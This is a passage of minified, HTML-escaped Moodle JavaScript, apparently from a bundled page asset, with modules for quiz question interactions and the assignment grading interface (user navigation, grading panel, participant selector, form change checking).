span.draghome.placed:not(.beingdragged)&quot;,questionManager.handleKeyPress).on(&quot;qtype_ddwtos-dragmoved&quot;,questionManager.handleDragMoved)},addEventHandlersToDrag:function(element){element.unbind(&quot;mousedown touchstart&quot;),element.on(&quot;mousedown touchstart&quot;,questionManager.handleDragStart)},handleDragStart:function(e){e.preventDefault();var question=questionManager.getQuestionForEvent(e);question&amp;&amp;question.handleDragStart(e)},handleKeyPress:function(e){if(!questionManager.isKeyboardNavigation){questionManager.isKeyboardNavigation=!0;var question=questionManager.getQuestionForEvent(e);question&amp;&amp;question.handleKeyPress(e)}},getQuestionForEvent:function(e){var containerId=$(e.currentTarget).closest(&quot;.que.ddwtos&quot;).attr(&quot;id&quot;);return questionManager.questions[containerId]},handleDragMoved:function(e,drag,target,thisQ){drag.removeClass(&quot;beingdragged&quot;),drag.css(&quot;top&quot;,&quot;&quot;).css(&quot;left&quot;,&quot;&quot;),target.after(drag),target.removeClass(&quot;active&quot;),void 0!==drag.data(&quot;unplaced&quot;)&amp;&amp;!0===drag.data(&quot;unplaced&quot;)&amp;&amp;(drag.removeClass(&quot;placed&quot;).addClass(&quot;unplaced&quot;),drag.removeAttr(&quot;tabindex&quot;),drag.removeData(&quot;unplaced&quot;),drag.hasClass(&quot;infinite&quot;)&amp;&amp;thisQ.getInfiniteDragClones(drag,!0).length&gt;1&amp;&amp;thisQ.getInfiniteDragClones(drag,!0).first().remove()),void 0!==drag.data(&quot;isfocus&quot;)&amp;&amp;!0===drag.data(&quot;isfocus&quot;)&amp;&amp;(drag.focus(),drag.removeData(&quot;isfocus&quot;)),void 0!==target.data(&quot;isfocus&quot;)&amp;&amp;!0===target.data(&quot;isfocus&quot;)&amp;&amp;target.removeData(&quot;isfocus&quot;),questionManager.isKeyboardNavigation&amp;&amp;(questionManager.isKeyboardNavigation=!1),thisQ.isQuestionInteracted()&amp;&amp;(questionManager.handleFormDirty(),thisQ.questionAnswer=thisQ.getQuestionAnsweredValues())},handleFormDirty:function(){const responseForm=document.getElementById(&quot;responseform&quot;);FormChangeChecker.markFormAsDirty(responseForm)}};return{init:questionManager.init}}));
define(&quot;qtype_multichoice/answers&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;
/**
   * Handles events related to the multiple-choice question type answers.
   *
   * @module     qtype_multichoice/answers
   * @copyright  2020 Jun Pataleta &lt;jun@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const SELECTORS_ANSWER_LABEL=&quot;[data-region=answer-label]&quot;;var _default={init:rootId=&gt;{const root=document.getElementById(rootId);root.querySelectorAll(SELECTORS_ANSWER_LABEL).forEach((answerLabel=&gt;{answerLabel.addEventListener(&quot;click&quot;,(e=&gt;{const labelId=e.currentTarget.id;root.querySelector(&#039;[aria-labelledby=&quot;&#039;.concat(labelId,&#039;&quot;]&#039;)).click()}))}))}};return _exports.default=_default,_exports.default}));
/**
 * Manages &#039;Clear my choice&#039; functionality actions.
 *
 * @module     qtype_multichoice/clearchoice
 * @copyright  2019 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.7
 */
define(&quot;qtype_multichoice/clearchoice&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;],(function($,CustomEvents){var SELECTORS_CHOICE_ELEMENT=&quot;.answer input&quot;,SELECTORS_LINK=&quot;a&quot;,SELECTORS_RADIO=&#039;input[type=&quot;radio&quot;]&#039;,registerEventListeners=function(root,fieldPrefix){var clearChoiceContainer=function(root,fieldPrefix){return root.find(&#039;div[id=&quot;&#039;+fieldPrefix+&#039;&quot;]&#039;)}(root,fieldPrefix);clearChoiceContainer.on(CustomEvents.events.activate,SELECTORS_LINK,(function(e,data){!function(clearChoiceContainer){clearChoiceContainer.find(SELECTORS_RADIO).prop(&quot;disabled&quot;,!1).prop(&quot;checked&quot;,!0)}(clearChoiceContainer),function(clearChoiceContainer){clearChoiceContainer.addClass(&quot;sr-only&quot;),clearChoiceContainer.attr(&quot;aria-hidden&quot;,!0),clearChoiceContainer.find(SELECTORS_LINK).attr(&quot;tabindex&quot;,-1)}(clearChoiceContainer),data.originalEvent.preventDefault()})),root.on(&quot;change&quot;,SELECTORS_CHOICE_ELEMENT,(function(){!function(clearChoiceContainer){clearChoiceContainer.removeClass(&quot;sr-only&quot;),clearChoiceContainer.removeAttr(&quot;aria-hidden&quot;),clearChoiceContainer.find(SELECTORS_LINK).attr(&quot;tabindex&quot;,0),clearChoiceContainer.find(SELECTORS_RADIO).prop(&quot;disabled&quot;,!0)}(clearChoiceContainer)})),clearChoiceContainer.find(SELECTORS_RADIO).focus((function(){root.find(SELECTORS_CHOICE_ELEMENT).first().focus()}))};return{init:function(root,fieldPrefix){root=$(&quot;#&quot;+root),registerEventListeners(root,fieldPrefix)}}}));
/**
 * Javascript to handle changing users via the user selector in the header.
 *
 * @module     mod_assign/grading_navigation
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_assign/grading_navigation&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/form-autocomplete&quot;,&quot;core/ajax&quot;,&quot;mod_assign/grading_form_change_checker&quot;],(function($,notification,str,autocomplete,ajax,checker){var GradingNavigation=function(selector){this._regionSelector=selector,this._region=$(selector),this._filters=[],this._users=[],this._filteredUsers=[],this._lastXofYUpdate=0,this._firstLoadUsers=!0,this._loadAllUsers(),this._region.find(&#039;[data-action=&quot;previous-user&quot;]&#039;).on(&quot;click&quot;,this._handlePreviousUser.bind(this)),this._region.find(&#039;[data-action=&quot;next-user&quot;]&#039;).on(&quot;click&quot;,this._handleNextUser.bind(this)),this._region.find(&#039;[data-action=&quot;change-user&quot;]&#039;).on(&quot;change&quot;,this._handleChangeUser.bind(this)),this._region.find(&#039;[data-region=&quot;user-filters&quot;]&#039;).on(&quot;click&quot;,this._toggleExpandFilters.bind(this)),$(document).on(&quot;user-changed&quot;,this._refreshSelector.bind(this)),$(document).on(&quot;done-saving-show-next&quot;,this._handleNextUser.bind(this));var toggleLink=this._region.find(&#039;[data-region=&quot;user-filters&quot;]&#039;);$(document.getElementById(toggleLink.attr(&quot;aria-controls&quot;))).on(&quot;change&quot;,&quot;select&quot;,this._filterChanged.bind(this));var userid=$(&#039;[data-region=&quot;grading-navigation-panel&quot;]&#039;).data(&quot;first-userid&quot;);userid&amp;&amp;this._selectUserById(userid),str.get_string(&quot;changeuser&quot;,&quot;mod_assign&quot;).done((function(s){autocomplete.enhance(&quot;[data-action=change-user]&quot;,!1,&quot;mod_assign/participant_selector&quot;,s)})).fail(notification.exception),$(document).bind(&quot;start-loading-user&quot;,function(){this._isLoading=!0}.bind(this)),$(document).bind(&quot;finish-loading-user&quot;,function(){this._isLoading=!1}.bind(this))};return GradingNavigation.prototype._isLoading=!1,GradingNavigation.prototype._regionSelector=null,GradingNavigation.prototype._filters=null,GradingNavigation.prototype._users=null,GradingNavigation.prototype._region=null,GradingNavigation.prototype._lastFilters=&quot;&quot;,GradingNavigation.prototype._loadAllUsers=function(){var select=this._region.find(&quot;[data-action=change-user]&quot;),assignmentid=select.attr(&quot;data-assignmentid&quot;),groupid=select.attr(&quot;data-groupid&quot;),filterPanel=this._region.find(&#039;[data-region=&quot;configure-filters&quot;]&#039;),filter=filterPanel.find(&#039;select[name=&quot;filter&quot;]&#039;).val(),workflowFilter=filterPanel.find(&#039;select[name=&quot;workflowfilter&quot;]&#039;);workflowFilter&amp;&amp;(filter+=&quot;,&quot;+workflowFilter.val());var markerFilter=filterPanel.find(&#039;select[name=&quot;markerfilter&quot;]&#039;);return markerFilter&amp;&amp;(filter+=&quot;,&quot;+markerFilter.val()),this._lastFilters!=filter&amp;&amp;(this._lastFilters=filter,ajax.call([{methodname:&quot;mod_assign_list_participants&quot;,args:{assignid:assignmentid,groupid:groupid,filter:&quot;&quot;,onlyids:!0,tablesort:!0},done:this._usersLoaded.bind(this),fail:notification.exception}]),!0)},GradingNavigation.prototype._usersLoaded=function(users){if(this._firstLoadUsers=!1,this._filteredUsers=this._users=users,this._users.length){var toggleLink=this._region.find(&#039;[data-region=&quot;user-filters&quot;]&#039;);$(document.getElementById(toggleLink.attr(&quot;aria-controls&quot;))).find(&#039;select[name=&quot;filter&quot;]&#039;).trigger(&quot;change&quot;)}else this._selectNoUser();this._triggerNextUserEvent()},GradingNavigation.prototype._checkClickOutsideConfigureFilters=function(event){var configPanel=this._region.find(&#039;[data-region=&quot;configure-filters&quot;]&#039;);if(!configPanel.is(event.target)&amp;&amp;0===configPanel.has(event.target).length){var toggleLink=this._region.find(&#039;[data-region=&quot;user-filters&quot;]&#039;);configPanel.hide(),configPanel.attr(&quot;aria-hidden&quot;,&quot;true&quot;),toggleLink.attr(&quot;aria-expanded&quot;,&quot;false&quot;),$(document).unbind(&quot;click.mod_assign_grading_navigation&quot;)}},GradingNavigation.prototype._updateFilterPreferences=function(userId,filterList,preferenceNames){var preferences=[],i=0;if(0==filterList.length||this._firstLoadUsers){var deferred=$.Deferred();return deferred.resolve(),deferred}for(i=0;i&lt;filterList.length;i++){var newValue=filterList[i];&quot;none&quot;==newValue&amp;&amp;(newValue=&quot;&quot;),preferences.push({userid:userId,name:preferenceNames[i],value:newValue})}return ajax.call([{methodname:&quot;core_user_set_user_preferences&quot;,args:{preferences:preferences}}])[0]},GradingNavigation.prototype._filterChanged=function(){var filterPanel=this._region.find(&#039;[data-region=&quot;configure-filters&quot;]&#039;),filters=filterPanel.find(&quot;select&quot;),preferenceNames=[];this._filters=[],filters.each(function(idx,ele){var element=$(ele);this._filters.push(element.val()),preferenceNames.push(&quot;assign_&quot;+element.prop(&quot;name&quot;))}.bind(this));var filterlist=[];filterPanel.find(&quot;option:checked&quot;).each((function(idx,ele){filterlist[filterlist.length]=$(ele).text()})),filterlist.length?this._region.find(&#039;[data-region=&quot;user-filters&quot;] span&#039;).text(filterlist.join(&quot;, &quot;)):str.get_string(&quot;nofilters&quot;,&quot;mod_assign&quot;).done(function(s){this._region.find(&#039;[data-region=&quot;user-filters&quot;] span&#039;).text(s)}.bind(this)).fail(notification.exception);var select=this._region.find(&quot;[data-action=change-user]&quot;),currentUserID=select.data(&quot;currentuserid&quot;);this._updateFilterPreferences(currentUserID,this._filters,preferenceNames).done(function(){if(!this._loadAllUsers()){var userid=parseInt(select.attr(&quot;data-selected&quot;)),foundIndex=0;$.each(this._filteredUsers,(function(index,user){userid==user.id&amp;&amp;(foundIndex=index)})),this._filteredUsers.length?this._selectUserById(this._filteredUsers[foundIndex].id):this._selectNoUser()}}.bind(this)).fail(notification.exception),this._refreshCount()},GradingNavigation.prototype._selectNoUser=function(){this._isLoading||(checker.checkFormForChanges(&#039;[data-region=&quot;grade-panel&quot;] .gradeform&#039;)?str.get_strings([{key:&quot;unsavedchanges&quot;,component:&quot;mod_assign&quot;},{key:&quot;unsavedchangesquestion&quot;,component:&quot;mod_assign&quot;},{key:&quot;saveandcontinue&quot;,component:&quot;mod_assign&quot;},{key:&quot;cancel&quot;,component:&quot;core&quot;}]).done((function(strs){notification.confirm(strs[0],strs[1],strs[2],strs[3],(function(){$(document).trigger(&quot;save-changes&quot;,-1)}))})):$(document).trigger(&quot;user-changed&quot;,-1))},GradingNavigation.prototype._selectUserById=function(userid){var select=this._region.find(&quot;[data-action=change-user]&quot;),useridnumber=parseInt(userid,10);this._isLoading||(checker.checkFormForChanges(&#039;[data-region=&quot;grade-panel&quot;] .gradeform&#039;)?str.get_strings([{key:&quot;unsavedchanges&quot;,component:&quot;mod_assign&quot;},{key:&quot;unsavedchangesquestion&quot;,component:&quot;mod_assign&quot;},{key:&quot;saveandcontinue&quot;,component:&quot;mod_assign&quot;},{key:&quot;cancel&quot;,component:&quot;core&quot;}]).done((function(strs){notification.confirm(strs[0],strs[1],strs[2],strs[3],(function(){$(document).trigger(&quot;save-changes&quot;,useridnumber)}))})):(select.attr(&quot;data-selected&quot;,userid),!isNaN(useridnumber)&amp;&amp;useridnumber&gt;0&amp;&amp;$(document).trigger(&quot;user-changed&quot;,userid)))},GradingNavigation.prototype._toggleExpandFilters=function(event){event.preventDefault();var toggleLink=$(event.target).closest(&#039;[data-region=&quot;user-filters&quot;]&#039;),expanded=&quot;true&quot;==toggleLink.attr(&quot;aria-expanded&quot;),configPanel=$(document.getElementById(toggleLink.attr(&quot;aria-controls&quot;)));expanded?(configPanel.hide(),configPanel.attr(&quot;aria-hidden&quot;,&quot;true&quot;),toggleLink.attr(&quot;aria-expanded&quot;,&quot;false&quot;),$(document).unbind(&quot;click.mod_assign_grading_navigation&quot;)):(configPanel.css(&quot;display&quot;,&quot;inline-block&quot;),configPanel.attr(&quot;aria-hidden&quot;,&quot;false&quot;),toggleLink.attr(&quot;aria-expanded&quot;,&quot;true&quot;),event.stopPropagation(),$(document).on(&quot;click.mod_assign_grading_navigation&quot;,this._checkClickOutsideConfigureFilters.bind(this)))},GradingNavigation.prototype._handlePreviousUser=function(e){e.preventDefault();var currentUserId=this._region.find(&quot;[data-action=change-user]&quot;).attr(&quot;data-selected&quot;),i=0,currentIndex=0;for(i=0;i&lt;this._filteredUsers.length;i++)if(this._filteredUsers[i].id==currentUserId){currentIndex=i;break}var count=this._filteredUsers.length,newIndex=currentIndex-1;newIndex&lt;0&amp;&amp;(newIndex=count-1),count&amp;&amp;this._selectUserById(this._filteredUsers[newIndex].id)},GradingNavigation.prototype._handleNextUser=function(e,saved){e.preventDefault();var select=this._region.find(&quot;[data-action=change-user]&quot;),currentUserId=select.attr(&quot;data-selected&quot;),i=0,currentIndex=0;for(i=0;i&lt;this._filteredUsers.length;i++)if(this._filteredUsers[i].id==currentUserId){currentIndex=i;break}var count=this._filteredUsers.length,newIndex=(currentIndex+1)%count;if(saved&amp;&amp;count){var userid=this._filteredUsers[newIndex].id,useridnumber=parseInt(userid,10);select.attr(&quot;data-selected&quot;,userid),!isNaN(useridnumber)&amp;&amp;useridnumber&gt;0&amp;&amp;$(document).trigger(&quot;user-changed&quot;,userid)}else count&amp;&amp;this._selectUserById(this._filteredUsers[newIndex].id)},GradingNavigation.prototype._setCountString=function(x,y){var updateNumber;this._lastXofYUpdate++,updateNumber=this._lastXofYUpdate;var param={x:x,y:y};str.get_string(&quot;xofy&quot;,&quot;mod_assign&quot;,param).done(function(s){updateNumber==this._lastXofYUpdate&amp;&amp;this._region.find(&#039;[data-region=&quot;user-count-summary&quot;]&#039;).text(s)}.bind(this)).fail(notification.exception)},GradingNavigation.prototype._refreshCount=function(){var userid=this._region.find(&quot;[data-action=change-user]&quot;).attr(&quot;data-selected&quot;),i=0,currentIndex=0;if(isNaN(userid)||userid&lt;=0)this._region.find(&#039;[data-region=&quot;user-count&quot;]&#039;).hide();else{for(this._region.find(&#039;[data-region=&quot;user-count&quot;]&#039;).show(),i=0;i&lt;this._filteredUsers.length;i++)if(this._filteredUsers[i].id==userid){currentIndex=i;break}var count=this._filteredUsers.length;if(count&amp;&amp;(currentIndex+=1),this._setCountString(currentIndex,count),currentIndex&gt;0){var url=new URL(window.location);if(parseInt(url.searchParams.get(&quot;blindid&quot;))&gt;0){var newid=this._filteredUsers[currentIndex-1].recordid;url.searchParams.set(&quot;blindid&quot;,newid)}else url.searchParams.set(&quot;userid&quot;,userid);window.history.replaceState({},&quot;&quot;,url)}}},GradingNavigation.prototype._refreshSelector=function(event,userid){var select=this._region.find(&quot;[data-action=change-user]&quot;);userid=parseInt(userid,10),!isNaN(userid)&amp;&amp;userid&gt;0&amp;&amp;select.attr(&quot;data-selected&quot;,userid),this._refreshCount()},GradingNavigation.prototype._triggerNextUserEvent=function(){this._filteredUsers.length&gt;1?$(document).trigger(&quot;next-user&quot;,{nextUserId:null,nextUser:!0}):$(document).trigger(&quot;next-user&quot;,{nextUser:!1})},GradingNavigation.prototype._handleChangeUser=function(){var select=this._region.find(&quot;[data-action=change-user]&quot;),userid=parseInt(select.val(),10);this._isLoading||(checker.checkFormForChanges(&#039;[data-region=&quot;grade-panel&quot;] .gradeform&#039;)?str.get_strings([{key:&quot;unsavedchanges&quot;,component:&quot;mod_assign&quot;},{key:&quot;unsavedchangesquestion&quot;,component:&quot;mod_assign&quot;},{key:&quot;saveandcontinue&quot;,component:&quot;mod_assign&quot;},{key:&quot;cancel&quot;,component:&quot;core&quot;}]).done((function(strs){notification.confirm(strs[0],strs[1],strs[2],strs[3],(function(){$(document).trigger(&quot;save-changes&quot;,userid)}))})):!isNaN(userid)&amp;&amp;userid&gt;0&amp;&amp;(select.attr(&quot;data-selected&quot;,userid),$(document).trigger(&quot;user-changed&quot;,userid)))},GradingNavigation}));
/**
 * Javascript controller for the &quot;Grading&quot; panel at the right of the page.
 *
 * @module     mod_assign/grading_panel
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_assign/grading_panel&quot;,[&quot;jquery&quot;,&quot;core/yui&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/fragment&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;mod_assign/grading_form_change_checker&quot;,&quot;mod_assign/grading_events&quot;,&quot;core_form/events&quot;,&quot;core/toast&quot;,&quot;core_form/changechecker&quot;],(function($,Y,notification,templates,fragment,ajax,str,checker,GradingEvents,FormEvents,Toast,FormChangeChecker){var GradingPanel=function(selector){this._regionSelector=selector,this._region=$(selector),this._userCache=[],this.registerEventListeners()};return GradingPanel.prototype._regionSelector=null,GradingPanel.prototype._lastUserId=0,GradingPanel.prototype._lastAttemptNumber=-1,GradingPanel.prototype._region=null,GradingPanel.prototype.nextUserId=null,GradingPanel.prototype.nextUser=!1,GradingPanel.prototype._niceReplaceNodeContents=function(node,html,js){var promise=$.Deferred();return node.fadeOut(&quot;fast&quot;,(function(){templates.replaceNodeContents(node,html,js),node.fadeIn(&quot;fast&quot;,(function(){promise.resolve()}))})),promise.promise()},GradingPanel.prototype._saveFormState=function(){var checked=$(&#039;[data-region=&quot;grading-actions-form&quot;] [name=&quot;sendstudentnotifications&quot;]&#039;).prop(&quot;checked&quot;);$(&#039;.gradeform [name=&quot;sendstudentnotifications&quot;]&#039;).val(checked)},GradingPanel.prototype._submitForm=function(event,nextUserId,nextUser){var commentAreaElement=document.querySelector(&quot;.comment-area&quot;);commentAreaElement&amp;&amp;(&quot;&quot;!==commentAreaElement.querySelector(&quot;.db &gt; textarea&quot;).value&amp;&amp;commentAreaElement.querySelector(&#039;.fd a[id^=&quot;comment-action-post-&quot;]&#039;).click());var form=$(this._region.find(&quot;form.gradeform&quot;));$(&#039;[data-region=&quot;overlay&quot;]&#039;).show(),FormChangeChecker.markFormSubmitted(form[0]),form.trigger(&quot;save-form-state&quot;),FormEvents.notifyFormSubmittedByJavascript(form[0]);var data=form.serialize(),assignmentid=this._region.attr(&quot;data-assignmentid&quot;);ajax.call([{methodname:&quot;mod_assign_submit_grading_form&quot;,args:{assignmentid:assignmentid,userid:this._lastUserId,jsonformdata:JSON.stringify(data)},done:this._handleFormSubmissionResponse.bind(this,data,nextUserId,nextUser),fail:notification.exception}])},GradingPanel.prototype._handleFormSubmissionResponse=function(formdata,nextUserId,nextUser,response){if(void 0===nextUserId&amp;&amp;(nextUserId=this._lastUserId),response.length)$(document).trigger(&quot;reset&quot;,[this._lastUserId,formdata]);else{str.get_string(&quot;gradechangessaveddetail&quot;,&quot;mod_assign&quot;).then((function(str){return Toast.add(str),str})).catch(notification.exception);var form=$(this._region.find(&quot;form.gradeform&quot;));FormChangeChecker.resetFormDirtyState(form[0]),nextUserId==this._lastUserId?$(document).trigger(&quot;reset&quot;,nextUserId):nextUser?$(document).trigger(&quot;done-saving-show-next&quot;,!0):$(document).trigger(&quot;user-changed&quot;,nextUserId)}$(&#039;[data-region=&quot;overlay&quot;]&#039;).hide()},GradingPanel.prototype._resetForm=function(e,userid,formdata){var event=$.Event(&quot;custom&quot;);void 0===userid&amp;&amp;(userid=this._lastUserId),this._lastUserId=0,this._refreshGradingPanel(event,userid,formdata)},GradingPanel.prototype._chooseAttempt=function(e){var submissionsId=$(e.target).data(&quot;submissions&quot;),formhtml=$(document.getElementById(submissionsId)).clone().wrap($(&quot;&lt;form/&gt;&quot;)).html();str.get_strings([{key:&quot;viewadifferentattempt&quot;,component:&quot;mod_assign&quot;},{key:&quot;view&quot;,component:&quot;core&quot;},{key:&quot;cancel&quot;,component:&quot;core&quot;}]).done(function(strs){notification.confirm(strs[0],formhtml,strs[1],strs[2],function(){var attemptnumber=$(&quot;input:radio[name=&#039;select-attemptnumber&#039;]:checked&quot;).val();this._refreshGradingPanel(null,this._lastUserId,&quot;&quot;,attemptnumber)}.bind(this))}.bind(this)).fail(notification.exception)},GradingPanel.prototype._addPopoutButtons=function(selector){var region=$(selector);templates.render(&quot;mod_assign/popout_button&quot;,{}).done(function(html){region.find(&#039;[data-fieldtype=&quot;filemanager&quot;],[data-fieldtype=&quot;editor&quot;],[data-fieldtype=&quot;grading&quot;]&#039;).closest(&quot;.fitem&quot;).addClass(&quot;has-popout&quot;).find(&quot;label&quot;).parent().append(html),region.on(&quot;click&quot;,&#039;[data-region=&quot;popout-button&quot;]&#039;,this._togglePopout.bind(this))}.bind(this)).fail(notification.exception)},GradingPanel.prototype._togglePopout=function(event){event.preventDefault();var container=$(event.target).closest(&quot;.fitem&quot;);container.hasClass(&quot;popout&quot;)?$(&quot;.popout&quot;).removeClass(&quot;popout&quot;):($(&quot;.popout&quot;).removeClass(&quot;popout&quot;),container.addClass(&quot;popout&quot;),container.addClass(&quot;moodle-has-zindex&quot;))},GradingPanel.prototype._refreshGradingPanel=function(event,userid,submissiondata,attemptnumber){var contextid=this._region.attr(&quot;data-contextid&quot;);void 0===submissiondata&amp;&amp;(submissiondata=&quot;&quot;),void 0===attemptnumber&amp;&amp;(attemptnumber=-1),this._lastUserId==userid&amp;&amp;this._lastAttemptNumber==attemptnumber&amp;&amp;&quot;&quot;===submissiondata||(this._lastUserId=userid,this._lastAttemptNumber=attemptnumber,$(document).trigger(&quot;start-loading-user&quot;),window.M.util.js_pending(&quot;mod-assign-loading-user&quot;),templates.render(&quot;mod_assign/loading&quot;,{}).done(function(html,js){this._niceReplaceNodeContents(this._region,html,js).done(function(){if(userid&gt;0){this._region.show();var params={userid:userid,attemptnumber:attemptnumber,jsonformdata:JSON.stringify(submissiondata)};fragment.loadFragment(&quot;mod_assign&quot;,&quot;gradingpanel&quot;,contextid,params).done(function(html,js){this._niceReplaceNodeContents(this._region,html,js).done(function(){checker.saveFormState(&#039;[data-region=&quot;grade-panel&quot;] .gradeform&#039;),$(document).on(&quot;editor-content-restored&quot;,(function(){checker.saveFormState(&#039;[data-region=&quot;grade-panel&quot;] .gradeform&#039;)})),$(&#039;[data-region=&quot;attempt-chooser&quot;]&#039;).on(&quot;click&quot;,this._chooseAttempt.bind(this)),this._addPopoutButtons(&#039;[data-region=&quot;grade-panel&quot;] .gradeform&#039;),$(document).trigger(&quot;finish-loading-user&quot;),window.M.util.js_complete(&quot;mod-assign-loading-user&quot;)}.bind(this)).fail(notification.exception)}.bind(this)).fail(notification.exception),$(&#039;[data-region=&quot;review-panel&quot;]&#039;).show()}else this._region.hide(),$(&#039;[data-region=&quot;review-panel&quot;]&#039;).hide(),$(document).trigger(&quot;finish-loading-user&quot;),window.M.util.js_complete(&quot;mod-assign-loading-user&quot;)}.bind(this))}.bind(this)).fail(notification.exception))},GradingPanel.prototype._getNextUser=function(event,data){this.nextUserId=data.nextUserId,this.nextUser=data.nextUser},GradingPanel.prototype._handleSaveAndShowNext=function(){this._submitForm(null,this.nextUserId,this.nextUser)},GradingPanel.prototype.getPanelElement=function(){return $(&#039;[data-region=&quot;grade-panel&quot;]&#039;)},GradingPanel.prototype.collapsePanel=function(){this.getPanelElement().addClass(&quot;collapsed&quot;)},GradingPanel.prototype.expandPanel=function(){this.getPanelElement().removeClass(&quot;collapsed&quot;)},GradingPanel.prototype.registerEventListeners=function(){var docElement=$(document);$(this._region).on(&quot;submit&quot;,&quot;form&quot;,(function(e){e.preventDefault()})),docElement.on(&quot;next-user&quot;,this._getNextUser.bind(this)),docElement.on(&quot;user-changed&quot;,this._refreshGradingPanel.bind(this)),docElement.on(&quot;save-changes&quot;,this._submitForm.bind(this)),docElement.on(&quot;save-and-show-next&quot;,this._handleSaveAndShowNext.bind(this)),docElement.on(&quot;reset&quot;,this._resetForm.bind(this)),docElement.on(&quot;save-form-state&quot;,this._saveFormState.bind(this)),docElement.on(GradingEvents.COLLAPSE_GRADE_PANEL,function(){this.collapsePanel()}.bind(this)),docElement.on(GradingEvents.COLLAPSE_REVIEW_PANEL,function(){this.expandPanel()}.bind(this)),docElement.on(GradingEvents.EXPAND_GRADE_PANEL,function(){this.expandPanel()}.bind(this))},GradingPanel}));
/**
 * Custom auto-complete adapter to load users from the assignment list_participants webservice.
 *
 * @module     mod_assign/participants_selector
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;mod_assign/participant_selector&quot;,[&quot;core/ajax&quot;,&quot;jquery&quot;,&quot;core/templates&quot;],(function(ajax,$,templates){return{processResults:function(selector,data){return data},transport:function(selector,query,success,failure){var assignmentid=$(selector).attr(&quot;data-assignmentid&quot;),groupid=$(selector).attr(&quot;data-groupid&quot;),filters=$(&#039;[data-region=&quot;configure-filters&quot;] input[type=&quot;checkbox&quot;]&#039;),filterstrings=[];filters.each((function(index,element){filterstrings[$(element).attr(&quot;name&quot;)]=$(element).prop(&quot;checked&quot;)})),ajax.call([{methodname:&quot;mod_assign_list_participants&quot;,args:{assignid:assignmentid,groupid:groupid,filter:query,limit:30,includeenrolments:!1,tablesort:!0}}])[0].then((function(results){var promises=[],identityfields=$(&quot;[data-showuseridentity]&quot;).data(&quot;showuseridentity&quot;).split(&quot;,&quot;);return $.each(results,(function(index,user){var ctx=user,identity=[],show=!0;filterstrings.filter_submitted&amp;&amp;!user.submitted&amp;&amp;(show=!1),filterstrings.filter_notsubmitted&amp;&amp;user.submitted&amp;&amp;(show=!1),filterstrings.filter_requiregrading&amp;&amp;!user.requiregrading&amp;&amp;(show=!1),filterstrings.filter_grantedextension&amp;&amp;!user.grantedextension&amp;&amp;(show=!1),show&amp;&amp;($.each(identityfields,(function(i,k){void 0!==user[k]&amp;&amp;&quot;&quot;!==user[k]&amp;&amp;(ctx.hasidentity=!0,identity.push(user[k]))})),ctx.identity=identity.join(&quot;, &quot;),promises.push(templates.render(&quot;mod_assign/list_participant_user_summary&quot;,ctx).then((function(html){return{value:user.id,label:html}}))))})),$.when.apply($,promises)})).then((function(){var users=[];arguments[0]&amp;&amp;(users=Array.prototype.slice.call(arguments)),success(users)})).catch(failure)}}}));
/**
 * Simple method to check for changes to a form between two points in time.
 *
 * @module     mod_assign/grading_form_change_checker
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_assign/grading_form_change_checker&quot;,[&quot;jquery&quot;],(function($){return{saveFormState:function(selector){$(selector).trigger(&quot;save-form-state&quot;);var data=$(selector).serialize();$(selector).data(&quot;saved-form-state&quot;,data)},checkFormForChanges:function(selector){$(selector).trigger(&quot;save-form-state&quot;);var data=$(selector).serialize(),previousdata=$(selector).data(&quot;saved-form-state&quot;);return void 0!==previousdata&amp;&amp;previousdata!=data}}}));
define(&quot;mod_assign/override_form&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core_form/changechecker&quot;],(function(_exports,_jquery,FormChangeChecker){var obj;
/**
   * A javascript module to enhance the override form.
   *
   * @copyright  2019 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj},FormChangeChecker=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(FormChangeChecker);_exports.init=(formId,selectElementName)=&gt;{const form=document.getElementById(formId),selectElement=form.querySelector(&#039;[name=&quot;&#039;.concat(selectElementName,&#039;&quot;]&#039;));(0,_jquery.default)(selectElement).on(&quot;change&quot;,(()=&gt;{const 